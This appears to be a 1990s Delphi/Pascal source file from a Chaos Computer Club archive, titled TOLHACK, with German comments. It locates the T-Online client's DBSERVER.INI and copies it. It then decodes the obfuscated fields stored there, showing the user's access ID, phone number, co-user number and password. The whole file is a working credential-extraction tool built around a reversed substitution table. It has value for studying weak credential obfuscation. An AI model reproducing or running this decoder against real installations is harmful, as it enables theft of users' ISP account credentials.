home *** CD-ROM | disk | FTP | other *** search
/ Chaos CD Blue / Chaos_CD_Blue__[1999].iso / www_ccc_de / Hacks / TOLHACK.ZIP / UNIT1.PAS < prev   
Pascal/Delphi Source File  |  1997-12-18  |  4KB  |  164 lines

  1. unit Unit1;
  2.  
  3. interface
  4.  
  5. uses
  6.   SysUtils, WinTypes, WinProcs, Messages, Classes, Graphics, Controls,
  7.   Forms, Dialogs, StdCtrls, inifiles;
  8.  
  9. type
  10.   TForm1 = class(TForm)
  11.     Edit1: TEdit;
  12.     Edit2: TEdit;
  13.     Edit3: TEdit;
  14.     Edit4: TEdit;
  15.     Label1: TLabel;
  16.     Button1: TButton;
  17.     Button2: TButton;
  18.     Label2: TLabel;
  19.     Label3: TLabel;
  20.     procedure Button1Click(Sender: TObject);
  21.     procedure Button2Click(Sender: TObject);
  22.     procedure FormShow(Sender: TObject);
  23.   private
  24.     { Private-Deklarationen }
  25.   public
  26.     { Public-Deklarationen }
  27.   end;
  28.  
  29. var
  30.   Form1: TForm1;
  31. const
  32.  { Jeder String = 1 Zeichen ...
  33.     FXD^ =  48 = '0'
  34.     F\F` =  65 = 'A'
  35.     H`Fb =  90 = 'Z'
  36.     F\Hd =  97 = 'a'
  37.     H`Hf = 122 = 'z'
  38.  }
  39.  
  40.  B : array[0..79] of string[4] =(
  41.   'FXD^','F\D^','F`D^','FdD^',
  42.   'GXD^','G\D^','G`D^','GdD^',
  43.   'HXD^','H\D^','H`D^','HdD^',
  44.   'IXD^','I\D^','I`D^','IdD^',
  45.   'FXF`','F\F`','F`F`','FdF`',
  46.   'GXF`','G\F`','G`F`','GdF`',
  47.   'HXF`','H\F`','H`F`','HdF`',
  48.   'IXF`','I\F`','I`F`','IdF`',
  49.   'FXFb','F\Fb','F`Fb','FdFb',
  50.   'GXFb','G\Fb','G`Fb','GdFb',
  51.   'HXFb','H\Fb','H`Fb','HdFb',
  52.   'IXFb','I\Fb','I`Fb','IdFb',
  53.   'FXHd','F\Hd','F`Hd','FdHd',
  54.   'GXHd','G\Hd','G`Hd','GdHd',
  55.   'HXHd','H\Hd','H`Hd','HdHd',
  56.   'IXHd','I\Hd','I`Hd','IdHd',
  57.   'FXHf','F\Hf','F`Hf','FdHf',
  58.   'GXHf','G\Hf','G`Hf','GdHf',
  59.   'HXHf','H\Hf','H`Hf','HdHf',
  60.   'IXHf','I\Hf','I`Hf','IdHf'
  61.   );
  62.  
  63. implementation
  64.  
  65. {$R *.DFM}
  66.  
  67. procedure Kopiere(Quelle,Ziel:String);
  68. var
  69.  F1, F2  : File;
  70.  NumRead, NumWritten: Word;
  71.  Buf: array[1..4000] of Char;
  72. begin
  73.  {$I-}
  74.  AssignFile(F1, Quelle);  {kopiere von Quelle nach Ziel}
  75.  Reset(F1,1);
  76.  AssignFile(F2, Ziel);
  77.  Rewrite(F2,1);
  78.  repeat
  79.   BlockRead (F1, Buf, SizeOf(Buf), NumRead);
  80.   BlockWrite(F2, Buf, NumRead    , NumWritten);
  81.  until (NumRead = 0) or (NumWritten <> NumRead);
  82.  CloseFile(F2);
  83.  CloseFile(F1);
  84.  {$I+}
  85. end;
  86.  
  87. function decoder1(Passw:string):string;
  88. var
  89. min,p,i,ii :integer;
  90. Ergebnis:string;
  91. begin
  92.  Ergebnis:='';
  93.  
  94.  min:=999;            { das erste vernⁿnftige Zeichen suchen }
  95.  for i:=0 to 79 do
  96.  begin
  97.   p:=pos(b[i],Passw);
  98.   if ((p>0) and (p<min)) then min:=p;
  99.  end;
  100.  
  101.  i:=min;              { ab da dekodieren (4 Zeichen zu 1 Zeichen ) }
  102.  while i<length(Passw) do
  103.  begin
  104.   for ii:=0 to 79 do
  105.   begin
  106.    if copy(Passw,i,4)=b[ii] then     { Zeichen gefunden ? }
  107.    begin
  108.     Ergebnis:=Ergebnis+chr(ii+48);   { Ja, zum Ergebnis dazu }
  109.    end;                              { Position im Array+48 = Zeichen }
  110.   end;
  111.   i:=i+4;
  112.  end;
  113.  decoder1:=Ergebnis;
  114. end;
  115.  
  116.  
  117.  
  118. procedure TForm1.Button1Click(Sender: TObject);
  119. var
  120. windir   :pchar;
  121. winini   :Tinifile;
  122. dbserver :Tinifile;
  123. path,pw,tel,ak1,ak2:string;
  124. begin
  125.  { Pfad zu T-Online aus Win.Ini }
  126.  winini:=Tinifile.create('win.ini');
  127.   path :=winini.readstring('T-Online-Decoder','Path',' ');
  128.   path:=copy(path,1,length(path)-10)+'DBSERVER.INI';
  129.  winini.free;
  130.  
  131.  { DBSERVER.INI ins Windows Verzeichnis kopieren zum lesen }
  132.  GetMem(WinDir, 144);
  133.  GetWindowsdirectory(WinDir, 144);
  134.  strcat(Windir,'\DBSERVER.INI');
  135.  Kopiere(path,Strpas(Windir));
  136.  
  137.  { DBSERVER lesen }
  138.  dbserver:=Tinifile.create('dbserver.ini');
  139.   pw :=dbserver.readstring('Bereich1' ,'Gruppe3',' ');
  140.   Tel:=dbserver.readstring('Bereich5' ,'Gruppe2',' ');
  141.   ak1:=dbserver.readstring('Bereich20','Gruppe3',' ');
  142.   ak2:=dbserver.readstring('Bereich20','Gruppe4',' ');
  143.  dbserver.free;
  144.  
  145.  { Dekodieren und ausgeben }
  146.  edit1.text:=copy(decoder1(ak1),1,5);   {Anschlu▀kennung Teil 1 erste 5 Zeichen }
  147.  edit1.text:=edit1.text+decoder1(ak2);  {Anschlu▀kennung Teil 2 }
  148.  edit2.text:=decoder1(Tel);             {Telefonnummer}
  149.  edit3.text:=copy(decoder1(ak1),6,999); {Mitbenutzer = Zeichen 6 bis .. }
  150.  edit4.text:=decoder1(pw);              {Passwort}
  151. end;
  152.  
  153. procedure TForm1.Button2Click(Sender: TObject);
  154. begin
  155. application.terminate;
  156. end;
  157.  
  158. procedure TForm1.FormShow(Sender: TObject);
  159. begin
  160. button1.setfocus;
  161. end;
  162.  
  163. end.
  164.